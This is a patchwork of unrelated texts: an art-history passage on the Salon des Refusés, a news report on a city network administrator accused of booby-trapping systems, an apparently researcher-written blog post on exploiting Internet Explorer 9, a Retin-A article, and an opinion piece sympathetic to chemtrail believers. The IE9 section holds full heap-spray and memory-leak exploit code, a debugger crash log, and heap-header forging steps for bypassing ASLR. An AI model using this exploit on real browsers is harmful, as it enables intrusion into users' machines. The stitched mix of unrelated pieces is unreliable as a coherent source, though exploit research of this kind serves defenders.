Much intrigue often went on to get acceptance, and to be given a good place in the galleries. In 1851, Gustave Courbet managed to get one painting into the Salon, Enterrement á Ornans, and in 1852 his Baigneuses was accepted, scandalizing critics and the public, who expected romanticized nudes in classical settings, but in 1855 the Salon refused all of Courbet's paintings. As early as the 1830s, Paris art galleries mounted small-scale, private exhibitions of works rejected by the Salon jurors. Courbet was obliged to organize his own exhibit, called Le Realism, at a private gallery. Private exhibits attracted far less attention from the press and patrons, and limited the access of the artists to a small public.
In 1863 the Salon jury refused two thirds of the paintings presented, including the works of Gustave Courbet, Édouard Manet, Camille Pissarro and Johan Jongkind. The rejected artists and their friends protested, and the protests reached Emperor Napoleon III. The Emperor's tastes in art were traditional; he commissioned and bought works by artists such as Alexandre Cabanel and Franz Xaver Winterhalter, but he was also sensitive to public opinion. His office issued a statement: "Numerous complaints have come to the Emperor on the subject of the works of art which were refused by the jury of the Exposition. His Majesty, wishing to let the public judge the legitimacy of these complaints, has decided that the works of art which were refused should be displayed in another part of the Palace of Industry."[4]
More than a thousand visitors a day visited the Salon des Refusés. The journalist Émile Zola reported that visitors pushed to get into the crowded galleries where the refused paintings were hung, and the rooms were full of the laughter of the spectators.[5] Critics and the public ridiculed the refusés, which included such now-famous paintings as Édouard Manet's Déjeuner sur l'herbe and James McNeill Whistler's Symphony in White, No. 1: The White Girl. But the critical attention also legitimized the emerging avant-garde in painting.
The Impressionists successfully exhibited their works outside the traditional Salon beginning in 1874. Subsequent Salons des Refusés were mounted in Paris in 1874, 1875, and 1886, by which time the popularity of the Paris Salon had declined for those who were more interested in Impressionism.
Works in the exhibition [ edit ]
Le déjeuner sur l'herbe [ edit ]
Rejected by the Salon jury of 1863, Manet seized the opportunity to exhibit Déjeuner sur l'herbe and two other paintings in the 1863 Salon des Refusés.[6] Déjeuner sur l'herbe depicts the juxtaposition of a female nude and a scantily dressed female bather in the background, on a picnic with two fully dressed men in a rural setting. The painting sparked public notoriety and stirred up controversy and has remained controversial, even to this day. Odilon Redon, for example, did not like it. There is a discussion of it, from this point of view, in Proust's Remembrance of Things Past.
One interpretation of the work is that it depicts the rampant prostitution in the Bois de Boulogne, a large park at the western outskirts of Paris, at the time. This prostitution was common knowledge in Paris, but was considered a taboo subject unsuitable for a painting.[7] Indeed, the Bois de Boulogne is to this day known as a pick-up place for prostitutes and illicit sexual activity after dark, just as it had been in the 19th century.
Émile Zola comments about Déjeuner sur l'herbe:
The Luncheon on the Grass is the greatest work of Édouard Manet, one in which he realizes the dream of all painters: to place figures of natural grandeur in a landscape. We know the power with which he vanquished this difficulty. There are some leaves, some tree trunks, and, in the background, a river in which a chemise-wearing woman bathes; in the foreground, two young men are seated across from a second woman who has just exited the water and who dries her naked skin in the open air. This nude woman has scandalized the public, who see only her in the canvas. My God! What indecency: a woman without the slightest covering between two clothed men! That has never been seen. And this belief is a gross error, for in the Louvre there are more than fifty paintings in which are found mixes of persons clothed and nude. But no one goes to the Louvre to be scandalized. The crowd has kept itself moreover from judging The Luncheon on the Grass like a veritable work of art should be judged; they see in it only some people who are having a picnic, finishing bathing, and they believed that the artist had placed an obscene intent in the disposition of the subject, while the artist had simply sought to obtain vibrant oppositions and a straightforward audience. Painters, especially Édouard Manet, who is an analytic painter, do not have this preoccupation with the subject which torments the crowd above all; the subject, for them, is merely a pretext to paint, while for the crowd, the subject alone exists. Thus, assuredly, the nude woman of The |
the computer network that handles law enforcement documents, payroll records, officials' e-mail and other sensitive city records was shut down for scheduled maintenance last Saturday, an action that would have vaporized numerous files because of a booby-trap Childs had installed, prosecutors said in court documents filed Wednesday.
Childs, 43, has been jailed since July 13 on four felony counts of computer tampering after he allegedly locked his bosses at the Technology Department out of the system and refused to hand over the password he had created.
In arguing against a defense request to lower his $5 million bail, prosecutors said Childs had set up more than 1,000 computer modems in locked cabinets and other hiding places, including at least one in a room at the Hall of Justice that even police didn't know existed, to tinker with the system without his bosses knowing it.
Childs didn't hand over the access codes to the computer system until a jailhouse meeting with Mayor Gavin Newsom on Monday - two days after the network was to have been taken down for the routine maintenance.
"He had a malicious intent to destroy the entire network," prosecutor Conrad del Rosario said.
Childs' lawyer, Erin Crane, called the allegation "spurious" and said Childs is the victim of bosses who resent his expertise.
"When they couldn't get rid of him," they created a false image of a "rogue employee" out to terrorize the city, Crane said.
After a Superior Court hearing Wednesday, Judge Lucy Kelly McCabe refused to lower bail. Childs remains in the city jail pending a hearing Sept. 24.
Run-in with security chief
According to prosecutors' court filing, Childs' actions first came to authorities' attention the evening of June 20 when the city's new chief of network security, Jeana Pieralde, conducted an audit of the FiberWAN network housed at One Market Street Plaza.
His bosses were already worried that Childs was being increasingly hostile toward supervisors and had taken over a room and installed a bank of computers, prosecutors said. They didn't know exactly what he was doing.
Childs was upset that no one had told him of the audit and used his cell phone to photograph Pieralde. Frightened, she locked herself in an office and later reported the incident to police.
Crane said Childs was angry that Pieralde was "(going) through his things" and had photographed her because she was taking away a device that didn't belong to her.
A supervisor in the Technology Department, Rich Robinson, also filed a police report about the incident and quoted Childs as saying, "I'm ready for you, Rich."
Childs denies threatening anyone, Crane said.
Surprising find
On July 9, after supplying his bosses with passwords to the system that turned out to be false, Childs was suspended.
The following week, with system administrators locked out of their network and Childs sitting in jail, a consultant advising the city discovered that Childs had rigged the network so that files would be erased if someone tried to figure out what the proper password was, prosecutors said.
Childs had created an ability to track anyone who tried to get into the system, kept his own e-mail server and had been using the modems locked in storage cabinets to create a private network, prosecutors said.
The consultant, Anthony Maupin, also found that because Childs had fashioned his makeshift system to run off temporary, short-term memory, a power outage - such as turning off the computer for maintenance - would mean full system failure, del Rosario said.
The system was rigged that way in May by a user named Maggot617, a city computer analysis showed. Prosecutors say "Maggot" was Childs.
"This setup or configuration is contrary to any logic of protecting the system," del Rosario said. Childs was well aware of the scheduled system shutdown last Saturday, he said. "The defendant had a note on his desk reflecting this power outage."
Secret room
On Monday, when Childs supplied three user names and an access code to Newsom, officials learned they could use them to get onto the system only at a computer in a room at the Hall of Justice that even police technology experts were unaware of.
Investigators say they are still worried about the modems hidden away in locked filing cabinets in public buildings around the city. Maupin told prosecutors that city officials estimate there are 1,100 such modems. Childs could still gain access to the network through any of them and create more mischief, prosecutors say.
In arguing that his bail not be lowered, prosecutors said a search of Childs' Pittsburg home turned up a co-worker's identification. They said they fear he could impersonate other employees to obtain access to the network.
They also said he had $10,000 cash on him when he was arrested, supporting their fear he would be a flight risk if released.
Childs' attorney maintains Childs is being scapegoated by incompetent officials resentful of his abilities in computer network management. The modems he installed in locked cabinets, she said in a bail reduction motion, were for the "sole purpose of maintaining the system."
Some of the protections, she said, were put in place after Childs concluded that a colleague inadvertently infected the city's network with a virus two years ago. It was Childs who put up the firewalls, with management approval, she said.As promised, the follow up from our previous post.
Before Thanksgiving, we left off with IE9 coughing up bytes. We’ll poke it some more today and make it do a little dance for us.
Last week we managed to trick IE9 into doing an INC[ADDRESS] for us where we could specify the address. Now it is time to see how much damage we can do with just that. Since we’ll operate under the assumption that everything in the process is ASLR’d the first thing to do to is come up with a way to predict a fixed address we can safely increment. The easiest way to do that will be using an aligned heapspray. In case you’re not familiar with heapspraying, especially heap spraying in Internet Explorer, below is a quick breakdown of the basics of a heapspray.
Throughout this post I will add background information where needed, those sections will be in a grey block so you can skip then if you already know enough about the topic.
Heap Spray The idea of heapspraying is nothing more than spraying the heap to be able predict the address of memory with known contents… no surprises there. The plan is to allocate a lot of memory in the process so we can safely write/inc a piece of memory that otherwise might not be occupied. However, since we only have a single shot we need to make sure that we can actually manipulate something useful. To do this we need to look a little closer at the way Internet Explorer and Windows 7 manage allocation. It is pretty easy to fill up your process memory with data, but we need to be able to get some reliability into it. And it turns out we can actually do that. Let me show you a sample log file of some allocation of different sizes. ------------- Creating allocations of different sizes alloc(0x1000) = 0x00e99290 alloc(0x1000) = 0x00e9a298 alloc(0x1000) = 0x00e9b2a0 alloc(0x8000) = 0x00e9c2a8 alloc(0x8000) = 0x00ea42b0 alloc(0x8000) = 0x00eac2b8 alloc(0x10000) = 0x00eb42c0 alloc(0x10000) = 0x068b1fe8 alloc(0x10000) = 0x068c1ff0 alloc(0x80000) = 0x028d0020 alloc(0x80000) = 0x031e0020 alloc(0x80000) = 0x04c10020 ------------- All done You might see a pattern emerging. The first 3 sizes all seem to be at a random addresses, but the last 3 allocations of size 0x80000 all end at 0020. As it turns out, if you make an allocation of (almost) 0x80000 the underlying memory manager will align this to start at a new page. The 0020 is the size of the heap header. If you are testing this with a debugger make sure you disable the debugheap ( -hd flag for windbg commandline) otherwise the header will be 0x30 in size.
If we take the heap header size into account we can actually do the following: alloc(0x7ffe0) = 0x02cf0020 alloc(0x7ffe0) = 0x04cf0020 alloc(0x7ffe0) = 0x05230020 alloc(0x7ffe0) = 0x06ed0020 alloc(0x7ffe0) = 0x07050020 alloc(0x7ffe0) = 0x070d0020 alloc(0x7ffe0) = 0x07150020 alloc(0x7ffe0) = 0x071d0020 A quick calculation shows that the last 3 allocations are following neatly upon each other creating a uninterrupted stream of bytes under our control.
Since every allocation starts at 0xXXXX0020 even if we do not know the exact starting address of an allocation we can still fill it with a pattern that repeats itself every 0x10000 byte and be confident that at 0xXXXX0020 there is the beginning of our pattern. All we need to do is spray a bunch of allocation and then pick an address that is most likely to be filled with our data, we need to aim a little high to make sure the address is not already used by other IE related data, but not too high so we need too spray too much. I usually use 0x12010020 but you can pick your own.
Alright, back to the matter at hand, we’re going to spray the living daylight out of our process to obtain a safe address to INCrement. The question is: what are we going to spray? If we spray a big string of ‘A’s all we will manage to do is turn one of our ‘A’s into an ‘B’. Not very useful. We need to be able to make a 0x80000 allocation riddled with useful data: pointers, flags, sizes or anything other than just strings data. It has to be a single allocation of 0x80000 or more for it to be properly aligned.
I’m pretty sure there are other options but I ended up using element attributes. If you’re unfamiliar with the way Element Attributes are stored I suggest reading the following section, otherwise skip right ahead.
Element Attributes We’ll be using element attributes to spray the heap with. Attributes are neat since they contain a lot of interesting data to play with. I’m not the first one to so, Nicolas Joly from Vupen wrote a nice exploit a while ago abusing the way element attributes are stored internally to bypass ASLR and DEP. Let me explain a little bit how the attributes for an element are being stored internally, you can either read it here or on Vupens blog, the information is the same.
When an element has attributes it contains an pointer to a 0x10 sized allocation that contains the number of attributes the element has and a pointer to the actual attribute array. Every attribute in the table uses 0x10 bytes of memory.
The first DWord contains a set of flags that among other describe the Variant Type of the following data, it also determines if the 2nd dword is a hash value or a pointer to a structure.
The 2nd DWord is either a hashvalue of the name, or a pointer to a structure that contains additional information
The 3rd and 4th DWord are the value of the attribute either directly (In case of, for example Integer values) or a pointer to the value (for example for strings and objects) The size of the array will grow when more room is needed for additional attributes. It starts off with enough room for 4 attributes, 0x40 bytes in size. Everytime it runs out of space it will add enough room to hold an additional 50% more aatribute, rounded down if needed. So it will grow from 0x40 to 0x60, 0x90, 0xD0 and so on. However as Nicolas Joly from Vupen figured out, if you clone an element containing X attributes the new element will have an attribute array that is precisely big enough to hold X attributes. This can be used to create allocations that are 0x7ffe0 in size, by cloning an element that contains 0x7ffe attributes. Vupen already showed that the VariantType of an attribute is a prime candidate to have some fun with. However, to my knowledge it is not possible to create all the different variant types with javascript. As such the potential changes we can make are somewhat limited. I have highlighted the variant types I was able to produce using various values for attributes. I might have missed some of course. VT_EMPTY = 0x0000,
VT_NULL = 0x0001,
VT_I2 = 0x0002,
VT_I4 = 0x0003,
VT_R4 = 0x0004,
VT_R8 = 0x0005,
VT_CY = 0x0006,
VT_DATE = 0x0007,
VT_BSTR = 0x0008,
VT_DISPATCH = 0x0009,
VT_ERROR = 0x000A,
VT_BOOL = 0x000B,
VT_VARIANT = 0x000C,
VT_UNKNOWN = 0x000D,
VT_DECIMAL = 0x000E,
VT_I1 = 0x0010,
VT_UI1 = 0x0011,
VT_UI2 = 0x0012,
VT_UI4 = 0x0013,
VT_I8 = 0x0014,
VT_UI8 = 0x0015,
VT_INT = 0x0016,
VT_UINT = 0x0017,
VT_VOID = 0x0018,
VT_HRESULT = 0x0019,
VT_PTR = 0x001A,
VT_SAFEARRAY = 0x001B,
VT_CARRAY = 0x001C,
VT_USERDEFINED = 0x001D,
VT_LPSTR = 0x001E,
VT_LPWSTR = 0x001F,
VT_RECORD = 0x0024,
VT_INT_PTR = 0x0025,
VT_UINT_PTR = 0x0026,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000 If you look at this list there isn’t a very likely candidate that will give you memory disclosure when you increase the VariantType by one. That statement isnt completely true, but we’ll revisit that later. But you need to keep in mind that the value for the original Variant Type should lead to something useful for VariantType + 1 without changing the value.
We will spray the heap with a bunch of AttributeArrays containing 0x7FFE elements, every 0x1000th element we will set and the rest we leave ‘null’ which makes it a lot faster to clone them. By setting every 0x1000th attribute we create our repeating pattern and should be able to reliably change attribute data.
The next question is: what are we going to change? I thought about this for a while and tried a few different things and I wont list all the potential tests and reasons why they failed but go straight to something that did work.
As I said, I looked at a few options and decided to change string pointer. We can get a BString pointer in the attribute table by issuing the following line of javascript
elmement.setAttribute('test', 'aaaaaaaaaa');
A BString, variant type 0x08 is a string type that is used in a lot of places that use strings in Internet Explorer. The internal representation of the string is a 4 byte string length, followed by the actual (wide character) string data and a (wide char) null termination. A pointer to a BString points to the start of the data, not the size field. I tried to make this visual in the image below.
If we increase the Value Pointer inside the Attribute array we can move the pointer to the String Data by 1, which is not very useful. Doing that gives you 2 options
If the first byte of your string data is 0x00 you decrease the string length, making it smaller than before If the first byte of your string data is not 0x00 you end up with a string length between 0x01000000 and 0xFFFFFFFF (theoretically). This however is too big and you wont be able to read back the string into javascript. Also, you’d need a huge piece of contiguous memory behind the string so you don’t crash when reading it back
But, we are not limited by increasing the Value pointer by just 1 byte. If we ignore the normal 4 byte alignment of our data, we can actually increase the value by 0x100, 0x10000 or 0x1000000. The last two options do might be harder to work with, but increasing the pointer to our BString Attribute value by 0x100 looks interesting. Lets see what we can do with that. We do not know what the actual address of our BString will be, but, on Windows7, we can wrestle the heap into a very predictable state by using the way the Low Fragmentation Heap allocates memory. Time for a little bit more background information on the Low Fragmentation Heap (LFH from now on)
Low Fragmentation Heap First of all, I highly recommend reading Understanding the Low Fragmentation Heap by Chris Valasek who goes into the nitty-gritty details of the LFH on Windows 7.
The main thing you need to know about that LFH is that it is very predictable in the way it allocates memory. At least it is on Windows 7, Windows 8 is another story thanks to mr Matt Miller who introduced randomness into the allocation routines (Thanks 🙁 ). Anyways, back to windows 7 and the predictability. First of all the LFH will handle incoming allocation requests based on its size. Allocations are grouped per 0x8 bytes, each group gets its own bucket assigned. Once the Heap allocater decides to use the LFH from a certain allocation size all allocation in that group will be server from the bucket created for that group, and a new bucket will be created once the original bucket is full. The bucket is a contiguous piece of memory capable of holding a certain amount of user blocks. User Blocks are the final pieces of memory that your program actually works with. Those User Blocks are returned in a linear fashion in Windows 7. The User Blocks are preceded by a 0x8 byte block header that we will abuse later in this blog. When a piece of memory is freed it will be available again for the next allocation of the same size (mod 8 byte). Since the allocation are handed out linearly it is pretty easy to manipulate the heap into putting allocations in the exact order that you want and need for exploitation. Pretty neat and useful.
By using the powers invested to us by the LFH we can manipulate the heap state to have some useful data follow our BString Attribute. We can then increase the pointer to the BString in our attribute table by 0x100 effectively moving the BString into the next allocation (if we choose the right size etc). I went with a BString size of 0x8A. The reason for that is multiple:
BString size 0x8A occupies 0x90 bytes of memory (add 0x4 for Size and 0x2 for u0000) 0x90 + 0x100 lands in the next allocation with a few bytes to spare The way attribute tables grow (see a few paragraphs back) 0x90 is a size the attribute array will reach when growing
So the plan is to move a BString pointer inside an attribute table by 0x100, this can be achieved by asking the process to do an INC[AttributeValue1 + 1] where AttributeValue1 points inside our Attribute heapspray and contains a pointer to a BString contained in a memory block of size 0x90. Due to the predictable allocation base of a huge attribute table we can predict at what address in memory a pointer the the BString will be available. We dont know which pointer it is, or what the value is, but that doesnt matter.
The memory right after the BString will contain an attribute table containing 0x9 Attributes and thus also occupying 0x90 bytes (which is why they fit next to each other).
If do a calculation based on this setup we’ll see the following result. Assuming, for sake of easy calculation, that our Bucket serving allocations of size 0x90 starts at offset 0x00000000:
0x00000000 Start of 8 byte Block Header for allocation 1 (string)
0x00000008 DWord Size of the String
0x0000000C Start of our String Data
0x00000096 Terminating 0000 for our string
0x00000098 Start of 8 byte block header for allocation 2 (attribute table)
0x000000A0 Start of Attribute Table Data
0x00000130 Start of 8 byte block header for allocation 3 (string)
…
The Attribute table will have the value 0x0000000C as a pointer to our BString object. We can change that to 0x0000010C. This falls right into the Attribute table data. Attributes take up 0x10 bytes of memory so 0x10C – 0xA0 (start of table) == 0x6C. So the pointer of the BString will point into the 7th Attribute. Since the size of the BString is located at BString – 4 the size will now be at offset 0x8 of the 7th attribute in the table.
This is perfect since we can have full control over that value. We also have enough room to leak some information from the attribute table.
This might sound a little confusing so I’m going to try and add an image to explain it visually. The size of the string after we ‘adjusted’ the pointer to it must be reasonable which is why it is important that we can control this and not just point it at random memory.
In this very well made image, the grey fields are memory containing Heap Header information, the Yellow block is the size for the String Data. The black arrow was suposed to point nicely to the beginning of the string data but I managed to mess that up. The red line is our ‘new’ pointer after we INCremented it and it now points in the middle of the next allocation.
Now, a nice thing about attributes is that there are ‘default’ attributes for certain objects, which is useful because it means the Attribute Table will contain a pointer to a structure in mshtml.dll for those attributes. A drawback is that those attributes always ‘float to the top’ of the attribute table when you add them so we’ll need to find an object that has at least 8 default attributes so that we can leak an address inside mshtml.dll.
A good candidate is a body element. This element has at least 9 default attributes and allows us enough flexibility to set the BString size to be reasonable, leak an address from mshtml and even some more information on heap allocations.
So the plan is:
Before triggering the crash we create an element with an attribute table containing 0x7FFE elements Clone this element a few times to create 0x800000 size attribute tables that are nicely aligned in memory Loop over the cloned elements and: Set every 0x1000th element to be a string size 0x8A Create a body element and add 9 default attributes We now have the heap set up in a way that strings and attribute tables are following each other in memory Trigger the vulnerability increasing the BString pointer in the attribute heapspray by 0x100 The process shouldn’t crash and we can continue with our javascript Loop over all the cloned elements and read back every 0x1000th attribute Find find the string that is not 0x8A in length (actually 0x8A/2 due to wide characters being used) The string data found contains pointers to mshtml.dll and some additional information Step one, memory leak has been accomplished!
The resulting HTML code looks like this:
<!doctype html> <HTML> <head> <script> lfh = new Array(20); for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; } function setinput() { try { document.write('Timber'); } catch(e) {} // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page) d = document.createElement('area'); d.shape = "poly" // Our BString pointer is located at: 0x12010020 + 0x8 // We want to INCrement 0x12010020 + 0x8 + 1 to add 0x100 and not 0x1 // The code does: inc dword ptr [esi+0A0h] so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48"; d2 = document.createElement('area'); d2.shape = "poly" d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48"; a = document.createElement("div"); a.clearAttributes() //Step 1 for(i = 0; i < 0x7ffe; i++) { a.setAttribute("attr" + i, null); } mem = new Array(400); // Step 2 for(i = 0; i < mem.length; i++) { mem[i] = a.cloneNode(1); } bodies = new Array() // Step 3 for(j = 0; j < mem.length; j++) { for(i = 0; i < 0x7ffe; i += 0x1000) { // Step 3.1 mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); // Step 3.2 b = document.createElement('body'); b.title = 'a'; b.id = 'a'; b.text = 'a' b.bgColor = 1 b.topMargin = 1 b.bottomMargin = 1 b.leftMargin = 1 b.rightMargin = 4 b.setAttribute('ropchain', bodies.length) // This will actualy give us the index of the body element we are leaking. bodies.push(b); } } // Saving the attributes so Garbage Collection wont kill them accidentally document.body.setAttribute('mem', mem) document.body.setAttribute('bodies', bodies) return true } function loaded() { document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput) // Step 4 document.getElementsByTagName('input')[0].focus(); // Step 6 for(j = 0; j < mem.length; j++) { for(i = 0; i < 0x7ffe ; i += 0x1000) { //Step 7 if(mem[j].getAttribute("attr" + i).length!= 0x45) { //Step 9 LeakInfo = "Size of the attribute is = " + data.length + "n"; LeakInfo += "Raw data: n" LeakInfo += escape(data) + "nn"; mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000 LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "n"; bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000 LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16); alert(LeakInfo); } } } } </script> </head> <body onload="loaded();"> <input value="mydata" type="text"></input> </body> </html>
This should give you the following alert box
You might wonder how we end up with a string size of 50. The reason behind this is that the attribute value for ‘leftMargin’ is what is being used as the size of the string and for some reason the value ‘1’ is actually saved as ‘100’ (decimal). I didn’t care enough to dig into why it does that since it is sufficient for our goal.
If you read the source code you see that I also add the index of the leaked body element in the ‘bodies’ array so we know exactly which body element attribute table we managed to leak.
So step 1 of our exploit has been achieved, we have leaked an address from mshtml.dll back into our javascript that we can then use to bypass ASLR. This is not ideal since mshtml.dll changes quite frequently and we don’t want to contentiously update our ROP chain to account for those changes. It would be ideal if we could leak arbitrary memory from this point on and make our ROP chain more reliable. We also still need a way to actually take control over the flow of execution of the program since all we have done so far is leak some memory.
You might think we can just change the value of our misaligned string attribute causing it to (partially) overwrite the body attribute table it points to, and this is true, but not as straight forward as you might think. Lets just try it and see what happens. After showing the alert box containing the leaked information we add a single javascript line to change the value of the attribute:
mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
Running this will generate the following crash
Critical error detected c0000374 (59c.ab4): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0 eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!RtlReportCriticalFailure+0x29: 772ae695 cc int 3 1:019> k ChildEBP RetAddr 0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29 0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21 0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1 0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b 0316c910 77213492 ntdll!RtlpFreeHeap+0xc6 0316c930 74c56e6a ntdll!RtlFreeHeap+0x142 0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:w7rtmcomole32comclassmemapi.cxx @ 687] 0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1 0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b 0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61 0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61 0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38 0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273 0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380 0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68 0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0 1:019> dd 0316c930 0316c930 0316c944 74c56e6a 006b0000 00000000 0316c940 0585aaf8 0316c968 7500449b 74d466bc 1:019> dc 0585aaf8 0585aaf8 00000064 00000009 00011400 71c629e0 d............).q 0585ab08 00010000 3f800000 80000301 002e46bf.......?.....F.. 0585ab18 00000c19 007310d8 3fc0c281 88000000......s....?.... 0585ab28 0000008a 00410041 00410041 00410041....A.A.A.A.A.A. 0585ab38 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
So what is happening here? Well, when you set an attribute that already exists mshtml will simply delete the existing value and then set a new value (actually, it will first add the new value and then delete the old one I believe). So we and up calling ntdll!RtlFreeHeap with an address that is not an actual heap allocation, it is an allocation but not the start of an allocation and thus it fails to free the address. Is this the end of the line? No, luckily the world has people like Ben Hawkes and Chris Valasek who do all the hard work for us and reversed most of the LFH allocation and free routines. As it turns out we can us a small variation on Ben Hawkes SegmentOffset technique to trick ntdll into accepting our misaligned address as a legit address and allowing it to be freed. To understand this we need to look a little bit closer at the Block Header that precedes an userblock (allocation).
LFH Allocations (user blocks) are preceded by an 8 byte allocation containing some information on the state of the user block, its size and such. By looking at the RtlpLowFragHeapFree it looks like the first DWord is used to determine the size of a block, but it is encoded. The address of the _HEAP, the allocation itself and ntdll!RtlpLFHKey are XOR against each other to determine this value.
The 2nd DWord contains a few flags, but those fields might differ based on the state the heap block is in. Luckily the only bytes we are interested in are the last two bytes. Ben Hawkes determined that there was a special value for the last byte that, if set to 0x5, let ntdll move the heap header back by an amount determined by the second to last byte. A quick look at the code that does this in ntdll!RtlpLowFragHeapFree shows that that is indeed to case: edi is our original HeapHeader (comming from edx – 8, with edx being the address we want to free). If the value of byte [edi+7] equals 0x5 then we grab the byte at [edi+6] multiply this by the block size (8 incase of 32 bits process, done through ‘shl eax, 3’) and back up the heap header by that amount: sub edi, eax;
It will then use the ‘new’ heap header for processing the rest of the function, including any encoded data.
So the plan is: add a fake HeapHeader in front of our String, set the value of byte 8 to 0x5 and the value of byte 7 such that it will point to a correct Heap Header. If you remember our calculation from a little while back, we determined that the BString pointer in the attribute heap spray pointed at offset 0x6C into the body attribute table. The actual allocation starts at 0x68 into the allocation. The Heap Header for this block is located 0x68/8 = 0xD blocks in front of our allocation.
The only problem is that in the current situation, with the BString pointing in the middle of an Attribute Array we cannot control the values of the fake Heap Header. But that is not a big issue, we can free the Attribute Array and replace it with something that does give us enough control. All we need to do is add one more attribute to the correct body element resulting in the attribute array being too small and expanding to 0xD0 bytes, leaving our 0x90 original allocation up for grabs again.
We’ll add another area element, set the coords property to have the correct values for the fake LFH and then delete the misaligned string. At this point we have two options to continue, each of which has its own challenges. The reason we have two options is that the strings used for the attributes are allocated using OLEAUT32!SysAllocString and as Alexander Sotirov described in his Heap Fengshui paper, the OLEAUT32 has an internal caching system.
What does this mean for us? Well, as I mentioned, we |
“It’s one of the most misunderstood drugs,” said Dr. Kenneth Beer, a dermatologist in Palm Beach, Fla., and a clinical investigator for Allergan, the maker of prescription Avage and Tazorac. He is also an Allergan shareholder. People use Retin-A too much, use it too often, experience negative side effects and then give up on it too soon, doctors say.
The problem with Retin-A is that it may actually make skin look worse — with redness, flakiness and peeling — for up to eight weeks. “But by 24 weeks, patients will see dramatic, marked improvements,” Dr. Lee said.
Ms. Hobbs said when she first started using Retin A, she broke out with severe acne. “I remember I called the doctor and told him I was going to stop using it because my face had never looked worse,” she said. But her doctor advised her not to give up. “And he was right,” Ms. Hobbs said. “In another couple of weeks, my skin cleared up.”
Manufacturers have come up with ways to make it more tolerable, less irritating and more effective. Brand-name prescription versions contain emollient moisturizers and have more-advanced delivery systems for getting the active ingredient into the skin. These additions are the main difference between generic Retin-A and the pricier name-brand versions (a large tube of a name brand will run about $150 versus about $80 for a generic).
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But in every case, patience and common sense are required. “You need to take six weeks to ramp up very slowly, but people will glob it on every night from the start and then call their doctor in a panic that their skin is red and peeling,” Dr. Beer said.
Doctors generally recommend using no more than a pea-size dab for the entire face. They advise using the product once every three nights (or once a week if skin feels irritated) for a couple of weeks, then every other night, eventually working up to every night if the skin can handle it.
Dr. Cohen cautions that Retin-A is not recommended for pregnant women or people with rosacea (a condition that causes skin redness). He said it is wise to limit its use with other potential irritants, like glycolic acids and vitamin C. Many doctors recommend applying a moisturizer over Retin-A (especially the generic versions) to help soothe skin, but suggest first waiting at least 20 minutes for the product to be absorbed.
Doctors also warn that newly irritated skin requires vigilant sun protection, and there are some concerns that waxing while using Retin-A may tear the skin.
“I can’t say there’s anything on the horizon that will rival Retin-A,” Dr. Cohen said. “It’s exciting to see all the research going into this area, but kind of funny that the thing we’re still recommending most is something that’s 25 years old.”Sky over Amsterdam, The Netherlands - 30 June 2015
When I visited Amsterdam, I watched the sky fill with long streaks extending for hundreds of kilometers behind air traffic as they carried passengers to the furthers parts of the Earth. I had seen documentaries such as What in the World are they Spraying with interest and discernment. In my own research, I traveled the spectrum of belief and unbelief. I analyzed the arguments and came to my own conclusions. What bothered me most during this journey was the polarizing debates and ad-homonen arguments used to frame the people with beliefs on one side or the other, rather than addressing the facts. Terms like debunking serve no purpose except to discredit the intelligence of a person who makes an argument, simply because one believes he or she is wrong has a predisposition to one’s accepted view of what is true.
Regardless of what one personally believes, an argument should not bring about shun, especially for those who have no professional background in the topic. The reality is that well educated and rational people have been both right and wrong throughout history. Doubt is the foundation of real science. Even though I do not hold the belief that our skies are being coated in chemicals in a global terraforming attempt, neither do I feel that people who hold such beliefs to be irrational. History has shown that justification for such a belief are not out of the realm of reasonability. In fact, discrediting people by claiming their views are outlandish or offensive is a pillar of propaganda and misdirection used by those in authority to reinforce their dominance, encourage group think and discourage critical thinking.
